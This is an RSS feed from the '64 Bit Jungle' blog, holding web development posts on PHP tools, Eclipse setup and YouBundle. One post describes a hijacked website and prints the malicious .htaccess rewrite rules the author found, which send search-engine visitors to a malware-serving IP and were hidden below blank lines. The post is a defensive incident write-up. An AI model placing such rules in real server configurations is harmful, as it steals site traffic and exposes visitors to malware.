<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>64 Bit Jungle &#187; Web Development</title>
	<atom:link href="http://www.64bitjungle.com/category/web-development/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.64bitjungle.com</link>
	<description>Linux and Programming Tips and Tutorials, Technology and Rants from the Jungle</description>
	<lastBuildDate>Thu, 05 Jan 2012 08:42:24 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>64 Bit Jungle Forums now open!</title>
		<link>http://www.64bitjungle.com/linux/64-bit-jungle-forums-now-open/</link>
		<comments>http://www.64bitjungle.com/linux/64-bit-jungle-forums-now-open/#comments</comments>
		<pubDate>Sun, 05 Jul 2009 16:22:41 +0000</pubDate>
		<dc:creator>Hodge</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Web Development]]></category>

		<guid isPermaLink="false">http://www.64bitjungle.com/?p=594</guid>
		<description><![CDATA[I&#8217;ve decided to create a forum community for 64 Bit Jungle users, and anyone else who would like to join. I guess the forums are an extension to post comments, allow discussion of topics not (yet) covered in any articles or posts on the site, and will hopefully encourage discussion and debate within the community! [...]
No related posts.

Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p>I&#8217;ve decided to create a <a href="http://www.64bitjungle.com/forums">forum community</a> for 64 Bit Jungle users, and anyone else who would like to join. I guess the forums are an extension to post comments, allow discussion of topics not (yet) covered in any articles or posts on the site, and will hopefully encourage discussion and debate within the community! Whilst I don&#8217;t anticipate they will be as active or comprehensive as the well established <a href="http://ubuntuforums.org" target="_blank">Ubuntu forums</a>, I do hope they will be successful, and most of all helpful and fun.</p>
<p>You&#8217;ll need to <a href="http://www.64bitjungle.com/wp-login.php?action=register">register</a> to post, but anyone can read them. I&#8217;ll eventually be on the look out for moderators, and the forums may possibly even lead to enlisting future guest writers for 64 Bit Jungle too.</p>
<p>They&#8217;re obviously looking a little sparse at the moment, since they&#8217;ve only just opened, but please don&#8217;t let that put you off registering and posting to kick things off.</p>
<p>Enjoy!</p>
<div class="shr-publisher-594"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic --><p>No related posts.</p>
<p>Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.64bitjungle.com/linux/64-bit-jungle-forums-now-open/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Webgrind: Cross-platform Xdebug Profiling Web Frontend</title>
		<link>http://www.64bitjungle.com/programming/webgrind-cross-platform-xdebug-profiling-web-frontend/</link>
		<comments>http://www.64bitjungle.com/programming/webgrind-cross-platform-xdebug-profiling-web-frontend/#comments</comments>
		<pubDate>Tue, 21 Apr 2009 04:53:30 +0000</pubDate>
		<dc:creator>Hodge</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Xdebug]]></category>

		<guid isPermaLink="false">http://www.64bitjungle.com/?p=512</guid>
		<description><![CDATA[I&#8217;m using Xdebug as my primary PHP debugger. I have it integrated into my Eclipse PDT IDE, and have also been using its profiling capabilities. Until recently, I&#8217;ve been using KCachegrind &#8211; which has a wonderfully diverse feature set &#8211; as my primary profile data visualisation tool. However, as a Gnome user, KCachegrind requires a [...]
No related posts.

Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p><img class="alignleft size-full wp-image-517" title="webgrind-title" src="http://www.64bitjungle.com/wp-content/uploads/2009/04/webgrind-title.jpg" alt="webgrind-title" width="163" height="62" align="left" />I&#8217;m using <a href="http://www.xdebug.org" target="_blank">Xdebug</a> as my primary PHP debugger. I have it integrated into my <a href="http://www.64bitjungle.com/tech/debugging-php-applications-with-xdebug-and-eclipse-pdt/">Eclipse PDT IDE</a>, and have also been using its profiling capabilities. Until recently, I&#8217;ve been using <a href="http://kcachegrind.sourceforge.net/cgi-bin/show.cgi" target="_blank">KCachegrind</a> &#8211; which has a wonderfully diverse feature set &#8211; as my primary profile data visualisation tool. However, as a Gnome user, KCachegrind requires a lot of KDE libraries to be installed in order to run. KCachegrind can be installed easily on Debian based systems by running:</p>
<p><code>sudo apt-get install kcachegrind</code></p>
<p>Anyone who has installed KCachegrind on a Gnome system before, or who has just run the above command, can see that it takes approximately 250Mb (after installation &#8211; about 80Mb worth of archives to download) of additional libraries and packages in order to install. I still have it installed, and use it for more detailed analysis of profile data, but I recently stumbled across a fantastic alternative called <a href="http://code.google.com/p/webgrind/" target="_blank">Webgrind</a>.</p>
<p><strong>Installing Webgrind</strong></p>
<p>Webgrind implements a subset of the KCachegrind features, and is great for a quick preview, or simple analysis of profile data. It&#8217;s written in PHP5, and as such leaves a very small footprint, and can be installed on any platform. To install, <a href="http://webgrind.googlecode.com/files/webgrind-release-1.0.zip" target="_blank">download the latest package</a> (1.0 at the time of writing) &#8211; as usual I downloaded to my cluttered Desktop, which by now is brimming with things I&#8217;ve forgotten about, and whose purpose I no longer have any idea&#8230; Once downloaded, the package needs unpacking, and moving to the root web directory (/var/www in my case)</p>
<p><code>cd ~/Desktop<br />
unzip webgrind-release-1.0.zip<br />
sudo mv webgrind /var/www</code></p>
<p>Once installed, Webgrind can be accessed by pointing your web browser to http://localhost/webgrind</p>
<p><strong>Profiling</strong></p>
<p>In order to profile an application, the Xdebug profiler needs switching on. This can be done by editing either the php.ini file, or in my case, a separate ini file specifically for Xdebug. Either way, the following line needs adding, so open up the ini file in a text editor, and add:</p>
<p><code>xdebug.profiler_enable = 1</code></p>
<p>Save the file and restart Apache:</p>
<p><code>sudo /etc/init.d/apache2 restart</code></p>
<p>Your PHP web application will now be profiled by Xdebug. By default, profile data will be saved in /tmp/cachegrind.out.%p (where %p is the pid). This can be changed by editing php.ini and adding the following directives:</p>
<p><code>xdebug.profiler_output_dir = /desired/output/directory/path<br />
xdebug.profiler_output_name = desired.name.specifier</code></p>
<p>(See <a href="http://www.xdebug.org/docs/all_settings#trace_output_name" target="_blank">http://www.xdebug.org/docs/all_settings#trace_output_name</a> for possible specifiers). To switch profiling off, simply edit the php.ini file, set  xdebug.profiler_enable to 0 and restart Apache.</p>
<p><strong>Viewing Profile Data</strong></p>
<p>Once profile data is available, Webgrind will automatically detect the latest profile, and give the option to display it. Point your web browser to http://localhost/webgrind. At the top are three pull down menus &#8211; the centre menu allowing us to select which profile data file to view. By default, it will automatically select the latest file, but others can be manually selected based not only on Xdebug&#8217;s default filename, but also by the actual PHP file profiled. Clicking the Update button will begin the analysis process (which may take some time depending on the size and complexity of the profile data) resulting in data being displayed in tabular format, which allows for drill down and sorting:</p>
<p style="text-align: center;"><img class="size-full wp-image-515 aligncenter" title="webgrind-screenshot" src="http://www.64bitjungle.com/wp-content/uploads/2009/04/webgrind-screenshot.jpg" alt="webgrind-screenshot" width="600" height="274" /></p>
<p style="text-align: left;">KCachegrind can be used for more detailed analysis, but for a quick view of potential bottlenecks in code, and considering its size, Webgrind is a fantastic starting point, which for me, picks out the most relevant data I need to analyse, which is sufficient 90% of the time.</p>
<div class="shr-publisher-512"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic --><p>No related posts.</p>
<p>Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.64bitjungle.com/programming/webgrind-cross-platform-xdebug-profiling-web-frontend/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Merge two images with PHP and GD</title>
		<link>http://www.64bitjungle.com/programming/merge-two-images-with-php-and-gd/</link>
		<comments>http://www.64bitjungle.com/programming/merge-two-images-with-php-and-gd/#comments</comments>
		<pubDate>Sat, 04 Apr 2009 12:09:46 +0000</pubDate>
		<dc:creator>Hodge</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[GD]]></category>
		<category><![CDATA[HowTo]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.64bitjungle.com/?p=477</guid>
		<description><![CDATA[One of the things I really wanted to incorporate into the new site design template, was a nice big, I-really-want-people-to-click-on-this-and-Subscribe-to-my-RSS-Feed image/link/button (big [what the hell is] &#8220;Web 2.0&#8243; buttons seem to be the in thing at the moment &#8211; I didn&#8217;t want to feel left out&#8230;), which is located at the top right of the [...]
No related posts.

Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p><img class="alignleft size-full wp-image-484" title="PHP &amp; GD" src="http://www.64bitjungle.com/wp-content/uploads/2009/04/phpgd125.jpg" alt="PHP &amp; GD" width="125" height="125" align="left" />One of the things I really wanted to incorporate into the new site design template, was a nice big, I-really-want-people-to-click-on-this-and-Subscribe-to-my-RSS-Feed image/link/button (big [what the hell is] &#8220;Web 2.0&#8243; buttons seem to be the in thing at the moment &#8211; I didn&#8217;t want to feel left out&#8230;), which is located at the top right of the site header, under the search box (in case you missed it). That&#8217;s easy enough, so what&#8217;s the point of this article? Well, I use <a href="http://feedburner.google.com" target="_blank">FeedBurner</a> to serve my RSS Feeds, and wanted to display the cool little badge they have, which shows the number of subscribers to my Feeds. I decided I wanted to include the FeedBurner stat counter in the new big &#8220;Look! I have a Web 2.0 site too&#8221; Subscribe to my RSS Feed button, since placing it elsewhere on the site&#8217;s layout, such as one of the sidebars, just didn&#8217;t feel right. Now, as with any problem, there are numerous ways this can be done, and no one solution is right. For instance, I could have set the &#8220;No, really, it <em>is</em> a Web 2.0 Site&#8221; Subscribe button as a background image to an (X)HTML &lt;div&gt; element, and then had the FeedBurner Badge ensconced therein, but since I had my <a href="http://www.64bitjungle.com/ubuntu/full-64-bit-or-32-bit-web-development-and-php-mysql-ide-with-eclipse-34-ganymede-and-pdt-2/" target="_self">PHP IDE</a> open at the time, I opted for the following method (which also happens to give me something to write about).</p>
<p>So, on to the code itself, which is actually rather embarrassingly simple:<br />
<code>&lt;?php<br />
//Set the Image source variables<br />
$backgroundSource = "http://www.64bitjungle.com/wp-content/themes/openbook22-en/images/rss-subscribe.jpg";<br />
$feedBurnerStatsSource = "http://feeds2.feedburner.com/~fc/64BitJungle?bg=151515&amp;fg=ffffff&amp;anim=0";<br />
//Create new images<br />
$outputImage = imagecreatefromjpeg($backgroundSource);<br />
$feedBurnerStats = imagecreatefromgif($feedBurnerStatsSource);<br />
//Grab width and height of the FeedBurner image<br />
$feedBurnerStatsX = imagesx($feedBurnerStats);<br />
$feedBurnerStatsY = imagesy($feedBurnerStats);<br />
//Merge the two images<br />
imagecopymerge($outputImage,$feedBurnerStats,156,50,0,0,$feedBurnerStatsX,$feedBurnerStatsY,100);<br />
//Output header<br />
header('Content-type: image/png');<br />
//send new image to browser<br />
imagepng($outputImage);<br />
imagedestroy($outputImage);<br />
?&gt;</code></p>
<p>Now for the breakdown of each line. First, I put the source images into a couple of variables &#8211; the background image, located at <a href="http://www.64bitjungle.com/wp-content/themes/openbook22-en/images/rss-subscribe.jpg" target="_blank">http://www.64bitjungle.com/wp-content/themes/openbook22-en/images/rss-subscribe.jpg</a>:</p>
<p style="text-align: center;"><img class="aligncenter" title="RSS Subscribe Background" src="http://www.64bitjungle.com/wp-content/themes/openbook22-en/images/rss-subscribe.jpg" alt="" width="245" height="70" /></p>
<p>and the FeedBurner badge, located at <a href="http://feeds2.feedburner.com/~fc/64BitJungle?bg=151515&amp;fg=ffffff&amp;anim=0" target="_blank">http://feeds2.feedburner.com/~fc/64BitJungle?bg=151515&amp;fg=ffffff&amp;anim=0</a>:</p>
<p style="text-align: center;"><img class="aligncenter" title="64 Bit Jungle Feedburner Stat Badge" src="http://feeds2.feedburner.com/~fc/64BitJungle?bg=151515&amp;fg=ffffff&amp;anim=0" alt="" width="88" height="26" /></p>
<p><code>$backgroundSource = "http://www.64bitjungle.com/wp-content/themes/openbook22-en/images/rss-subscribe.jpg";<br />
$feedBurnerStatsSource = "http://feeds2.feedburner.com/~fc/64BitJungle?bg=151515&amp;fg=ffffff&amp;anim=0";</code></p>
<p>The next significant lines, tell GD to create two new image link resources from the sources above:</p>
<p><code>$outputImage = imagecreatefromjpeg($backgroundSource);<br />
$feedBurnerStats = imagecreatefromgif($feedBurnerStatsSource);</code></p>
<p>The FeedBurner badge is delivered as a GIF, hence the <a href="http://php.net/imagecreatefromgif" target="_blank">imagecreatefromgif</a> function, and the background image is in jpeg format, so we call the <a href="http://php.net/imagecreatefromjpeg" target="_blank">imagecreatefromjpeg</a> function. Next, we grab the height and width of the FeedBurner image using the <a href="http://php.net/imagesx" target="_blank">imagesx</a> and <a href="http://php.net/imagesy" target="_blank">imagesy</a> functions, and stick the values in a coupe of variables:</p>
<p><code>$feedBurnerStatsX = imagesx($feedBurnerStats);<br />
$feedBurnerStatsY = imagesy($feedBurnerStats);</code></p>
<p>and then run the important function, <a href="http://php.net/imagecopymerge" target="_blank">imagecopymerge</a>, to combine the two images:</p>
<p><code>imagecopymerge($outputImage,$feedBurnerStats,156,50,0,0,$feedBurnerStatsX,$feedBurnerStatsY,100);</code></p>
<p>Finally, the image is output to the browser in PNG format:</p>
<p><code>header('Content-type: image/png');<br />
imagepng($outputImage);<br />
imagedestroy($outputImage);</code></p>
<p>That&#8217;s it &#8211; painfully simple, eh? Now all that&#8217;s required is to include the new image in some (X)HTML Markup &#8211; <strong>note</strong> that the src of the image, points to the PHP file, not to a traditional JPG etc.:</p>
<p><code>&lt;img src="http://www.64bitjungle.com/wp-content/themes/openbook22-en/subscribe-image.php" alt="Subscribe to RSS Feed" /&gt;</code></p>
<p>Et voila:</p>
<p style="text-align: center;"><img class="aligncenter" title="Subscribe to RSS Feed" src="http://www.64bitjungle.com/wp-content/themes/openbook22-en/subscribe-image.php" alt="" width="245" height="70" /></p>
<p>The font, by the way, is &#8220;SF Fedora&#8221;.</p>
<div class="shr-publisher-477"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic --><p>No related posts.</p>
<p>Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.64bitjungle.com/programming/merge-two-images-with-php-and-gd/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Full 64 Bit (or 32 Bit) Web Development and PHP/MySQL IDE with Eclipse 3.4 Ganymede and PDT 2</title>
		<link>http://www.64bitjungle.com/ubuntu/full-64-bit-or-32-bit-web-development-and-php-mysql-ide-with-eclipse-34-ganymede-and-pdt-2/</link>
		<comments>http://www.64bitjungle.com/ubuntu/full-64-bit-or-32-bit-web-development-and-php-mysql-ide-with-eclipse-34-ganymede-and-pdt-2/#comments</comments>
		<pubDate>Fri, 16 Jan 2009 12:16:12 +0000</pubDate>
		<dc:creator>Hodge</dc:creator>
				<category><![CDATA[Eclipse]]></category>
		<category><![CDATA[Featured]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[HowTo]]></category>
		<category><![CDATA[IDE]]></category>
		<category><![CDATA[PDT]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.64bitjungle.com/?p=304</guid>
		<description><![CDATA[I&#8217;m probably a little late with this article, since PDT2 has been out for a few weeks now! PDT 2 is an improvement  on v1, and of course, Ganymede is also an improvement on Europa -thankfully, the installation process has also improved and is much easier than my previous post on the subject. There is [...]
No related posts.

Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p><img class="size-full wp-image-118 alignleft" title="Eclipse 3.4 Ganymede" src="http://www.64bitjungle.com/wp-content/uploads/2008/08/ganymede.png" alt="Eclipse 3.4 Ganymede" width="300" height="195" align="left" />I&#8217;m probably a little late with this article, since PDT2 has been out for a few weeks now! PDT 2 is an improvement  on v1, and of course, Ganymede is also an improvement on Europa -thankfully, the installation process has also improved and is <strong>much</strong> easier than my <a href="http://www.64bitjungle.com/programming/64-bit-eclipse-34-ganymede-ide-with-pdt-and-sqlexplorer-full-php-mysql-web-application-ide/">previous post on the subject</a>. There is no longer any need to download Eclipse Classic, and install a lot of prerequisites, since most of the prerequisites, and more are now included in Eclipse JEE (Eclipse IDE for Java EE Developers) &#8211; WST, RCP/Platform, XML tools, CVS support, Mylin (links to Bugzilla etc.), and Data Tools for MySQL (and other DB) connectivity, and more. Pretty much the only thing missing, is PDT itself, so here&#8217;s how I got it all set up.</p>
<p><strong>Getting JRE set up and Ready (Optional)</strong></p>
<p>If you&#8217;d like to set up 64 Bit (or 32 Bit) JRE to run Eclipse, <a href="http://www.64bitjungle.com/ubuntu/install-java-jre-160-update-x-on-hardy-as-the-default-java-runtime/" target="_blank">follow these instructions</a>.</p>
<p><strong>Installing the Base: Eclipse 3.4 (Ganymede) JEE</strong></p>
<p>First, I downloaded the 64 Bit version of <a href="http://www.eclipse.org/downloads/download.php?file=/technology/epp/downloads/release/ganymede/SR1/eclipse-jee-ganymede-SR1-linux-gtk-x86_64.tar.gz" target="_blank">Eclipse IDE for Java EE Developers</a> to my desktop (<a href="http://www.eclipse.org/downloads/download.php?file=/technology/epp/downloads/release/ganymede/SR1/eclipse-jee-ganymede-SR1-linux-gtk.tar.gz" target="_blank">32 Bit version here</a>). Once downloaded, I extracted the archive, then moved the files to /opt:</p>
<p><code>cd ~/Desktop<br />
tar -zxvf eclipse-jee-ganymede-SR1-linux-gtk-x86_64.tar.gz<br />
sudo mv eclipse /opt</code></p>
<p>For 32 Bit:</p>
<p><code>cd ~/Desktop<br />
tar -zxvf eclipse-jee-ganymede-SR1-linux-gtk.tar.gz<br />
sudo mv eclipse /opt</code></p>
<p><strong>Installing PDT 2</strong></p>
<p>Simple so far. Once moved (installed), I ran Eclipse for the first time from the command line:</p>
<p><code>cd /opt/eclipse<br />
./eclipse</code></p>
<p>and selected a workspace within my home directory once prompted. From here, installing PDT 2 is an easy task &#8211; adding two sites to the Update Manager (far easier in Ganymede than Europa), and letting Eclipse to the rest. Once Eclipse had started, I went to Help -&gt; Software Updates. The Software Updates and Add-ons window appeared, and I navigated to the Available Software tab. From there, I clicked the &#8220;Manage Sites&#8221; button, followed by &#8220;Add&#8221; once the Site Manager appeared. The only additional prerequisite to install for PDT is the Dynamic Languages Toolkit, or DLTK. So, I added:</p>
<p><code>http://download.eclipse.org/technology/dltk/updates-dev/1.0/</code></p>
<p>in the Dialog, and clicked OK. I then needed to add the PDT update site, so clicked add, and pasted:</p>
<p><code>http://download.eclipse.org/tools/pdt/updates/2.0/interim/</code></p>
<p>Click OK to close the Available Sites Manager. The rest is just as easy &#8211; two new sites should appear in the Available Software sites list. So, I expanded the DLTK site (the small triangle to the left of the site name), then the Dynamic Languages Toolkit option, and checked &#8220;Dynamic Languages Toolkit &#8211; Core Frameworks (Incubation)&#8221;, from the top of the list. Finally, I repeated the process with the PDT Update site &#8211; expanded PDT Update Site -&gt; PDT SDK 2.0.0 and checked &#8220;PDT Runtime Feature&#8221; from the list. That&#8217;s it. Click Install and follow the prompts.</p>
<p>Once installed, Eclipse recommends restarting the application. Accept, restart, and enjoy a shiny new PHP IDE, with PDT 2.</p>
<p><strong>Setting Up the Environment</strong></p>
<p>Once Eclipse Ganymede has reloaded, click on the Workspace icon to open the IDE workspace for the first time. The default Perspective is JEE. To change this, go to Window -&gt; Open Perspective -&gt; Other, then scroll down and select PHP. Other Views, relating to other plugins can be inserted into this perspective, and the perspective saved for future use. Personally, I like to add the SQL Development views, and MyLin, for live access to Bugzilla (Window -&gt; Sow View -&gt; Other).</p>
<p>A new PHP Project can be started by right clicking in Project Explorer (left window pane), and selecting New PHP Project (&#8220;Other&#8221; may need selecting on the first run, followed by navigating to and selecting PHP Project from the list).</p>
<p>That&#8217;s it. Far easier than previous versions, and much less effort required in the process! We like that.</p>
<div class="shr-publisher-304"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic --><p>No related posts.</p>
<p>Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.64bitjungle.com/ubuntu/full-64-bit-or-32-bit-web-development-and-php-mysql-ide-with-eclipse-34-ganymede-and-pdt-2/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Gnarly Malware &#8211; Hijacks Website .htaccess and Steals Search Engine Traffic</title>
		<link>http://www.64bitjungle.com/web-development/gnarly-malware-hijacks-website-htaccess-and-steals-search-engine-traffic/</link>
		<comments>http://www.64bitjungle.com/web-development/gnarly-malware-hijacks-website-htaccess-and-steals-search-engine-traffic/#comments</comments>
		<pubDate>Wed, 14 Jan 2009 04:07:41 +0000</pubDate>
		<dc:creator>Hodge</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[.htaccess]]></category>
		<category><![CDATA[malware]]></category>

		<guid isPermaLink="false">http://www.64bitjungle.com/?p=294</guid>
		<description><![CDATA[A friend in the US called me a few days ago, asking me to take a look at his website, calypsoislandtours.com, since his site traffic had dropped dramatically, for no obvious reason. Upon further investigation, he discovered that only search engine traffic was affected, which, as with many if not most websites, happened to be [...]
No related posts.

Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p>A friend in the US called me a few days ago, asking me to take a look at his website, <a href="http://www.calypsoislandtours.com" target="_blank">calypsoislandtours.com</a>, since his <a href="http://www.calypsoislandtours.com/blog/index.php/travel/travel-blog-website-hijacked-malware/" target="_blank">site traffic had dropped dramatically</a>, for no obvious reason. Upon further investigation, he discovered that only search engine traffic was affected, which, as with many if not most websites, happened to be a major proportion of his inbound traffic &#8211; not particularly good for his business.</p>
<p>I searched <a href="http://www.google.com" target="_blank">Google</a> for his site, and sure enough, clicking on one of the results redirected my browser to a rather dodgy website that clearly wasn&#8217;t calypsoislandtours.com. So, I investigated further, and found that somehow, the .htaccess file on his server had been altered, to contain the following lines:</p>
<p><code>RewriteEngine On<br />
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]<br />
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]<br />
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]<br />
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]<br />
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]<br />
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]<br />
RewriteRule .* http://89.28.13.201/in.html?s=xi [R,L]</code></p>
<p>Which was also preceded by a couple of dozen lines of white space, so that to most users checking .htaccess, the code would be &#8220;hidden&#8221; below the viewable window of an average text editor (I used the Linux command more, via ssh to check the file).</p>
<p>Basically, this nasty little piece of code utilises mod_rewrite to tell Apache to look for any traffic coming to the server from Google, AOL, MSN, Altavista, Ask or Yahoo (all the big search engines), and then to redirect that traffic to a server with the IP 89.28.13.201 (in a second .htaccess file, the IP was 89.28.13.205).</p>
<p>Using a combination of traceroute and Lynx web browser, I tracked the redirects. The web server located at 89.28.13.201 installs a cookie (visited=1) and also contains a script to redirect to a string of sites  &#8211; first to <a href="http://safebrowsing.clients.google.com/safebrowsing/diagnostic?client=Firefox&amp;hl=en-US&amp;site=http://worldgreenpeace.cn" target="_blank">worldgreenpeace.cn (link to Google Safe Browsing Info Page)</a>, which installs a cookie: soft=1. This site then redirects the browser to the final target destination of <a href="http://safebrowsing.clients.google.com/safebrowsing/diagnostic?client=Firefox&amp;hl=en-US&amp;site=http://bestantivirusfastscan.com/" target="_blank">bestantivirusfastscan.com (link to Google Safe Browsing Info page)</a> which installs a cookie: av_inst=880147 (arbitrary ID number &#8211; although it seems that 880147 people may have been redirected already). This final site contains Malware, which I presume does something nasty, although I felt no inclination to investigate further!</p>
<p>Thankfully, it was easy to cure &#8211; I simply deleted the above lines from .htaccess, and the website was instantly be back to normal, receiving the search engine traffic it should.</p>
<p>So, if you&#8217;re noticing a massive drop in search engine traffic to your site for no apparent reason, check the .htaccess first!</p>
<div class="shr-publisher-294"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic --><p>No related posts.</p>
<p>Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.64bitjungle.com/web-development/gnarly-malware-hijacks-website-htaccess-and-steals-search-engine-traffic/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Ubuntu Bundle and Widget Debugging on YouBundle</title>
		<link>http://www.64bitjungle.com/ubuntu/ubuntu-bundle-and-widget-debugging-on-youbundle/</link>
		<comments>http://www.64bitjungle.com/ubuntu/ubuntu-bundle-and-widget-debugging-on-youbundle/#comments</comments>
		<pubDate>Fri, 31 Oct 2008 04:38:09 +0000</pubDate>
		<dc:creator>Hodge</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[youbundle]]></category>

		<guid isPermaLink="false">http://www.64bitjungle.com/?p=188</guid>
		<description><![CDATA[YouBundle is finally live! I&#8217;m currently trying to do 6 dozen different things, including debugging a really annoying &#8220;feature&#8221; in the Bundle Widget&#8230; For some reason, it only occurs on WordPress blogs, and basically, the page&#8217;s style sheet/CSS seems to be overriding the Widget CSS, and adding bullet styles to list items, where I really [...]
No related posts.

Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p><a href="http://www.youbundle.com" target="_blank">YouBundle</a> is finally live! I&#8217;m currently trying to do 6 dozen different things, including debugging a really annoying &#8220;feature&#8221; in the Bundle Widget&#8230; For some reason, it only occurs on WordPress blogs, and basically, the page&#8217;s style sheet/CSS seems to be overriding the Widget CSS, and adding bullet styles to list items, where I really don&#8217;t want them! Anyway, here&#8217;s a nice introduction to YouBundle, and the Widget feature &#8211; the <a href="http://www.youbundle.com/b/ubuntu" target="_blank">Ubuntu Bundle</a> I created a while back, during early development and testing:</p>
<div><script src="http://www.youbundle.com/widget/ubuntu" type="text/javascript"></script><a style="&amp;quote;color:blue;font-size:8pt;text-decoration:none;&amp;quote;" href="http://www.youbundle.com/b/ubuntu" target="_blank">Ubuntu</a></div>
<div class="shr-publisher-188"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic --><p>No related posts.</p>
<p>Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.64bitjungle.com/ubuntu/ubuntu-bundle-and-widget-debugging-on-youbundle/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Getting YouBundle Ready for CEA i-stage</title>
		<link>http://www.64bitjungle.com/tech/getting-youbundle-ready-for-cea-i-stage/</link>
		<comments>http://www.64bitjungle.com/tech/getting-youbundle-ready-for-cea-i-stage/#comments</comments>
		<pubDate>Fri, 03 Oct 2008 03:21:51 +0000</pubDate>
		<dc:creator>Hodge</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[cea]]></category>
		<category><![CDATA[i-stage]]></category>
		<category><![CDATA[youbundle]]></category>

		<guid isPermaLink="false">http://www.64bitjungle.com/?p=173</guid>
		<description><![CDATA[My posts have been few and far between over the past couple of months, since I&#8217;ve been working hard on getting YouBundle ready for CEA i-stage! I&#8217;m proud that YouBundle has been selected as one of 15 finalists to present on the 20th October (which gives me little time to make the final tweaks and [...]
No related posts.

Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.]]></description>
